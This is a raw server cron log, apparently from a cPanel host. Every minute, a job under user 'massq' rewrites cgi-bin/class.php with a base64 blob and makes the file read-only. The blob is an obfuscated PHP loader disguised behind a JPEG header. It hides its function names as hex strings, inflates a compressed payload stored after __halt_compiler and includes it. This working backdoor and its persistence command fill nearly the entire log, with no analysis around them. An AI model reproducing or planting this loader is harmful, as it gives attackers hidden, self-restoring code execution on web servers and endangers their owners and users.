Nov 15 12:39:01 server CROND[26539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:39:01 server CROND[26540]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 12:40:01 server CROND[26821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:40:01 server CROND[26822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 12:40:01 server CROND[26824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:40:01 server CROND[26823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:41:01 server CROND[27178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:42:01 server CROND[27448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:42:01 server CROND[27449]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 12:43:01 server CROND[27719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:44:01 server CROND[28078]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:45:01 server CROND[28415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:45:01 server CROND[28416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:45:01 server CROND[28417]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:46:01 server CROND[28783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:47:01 server CROND[29051]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:48:01 server CROND[29317]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:49:01 server CROND[29710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:50:01 server CROND[30000]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 12:50:01 server CROND[30001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:50:01 server CROND[30004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:50:01 server CROND[30005]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 12:50:01 server CROND[30006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:51:01 server CROND[30333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
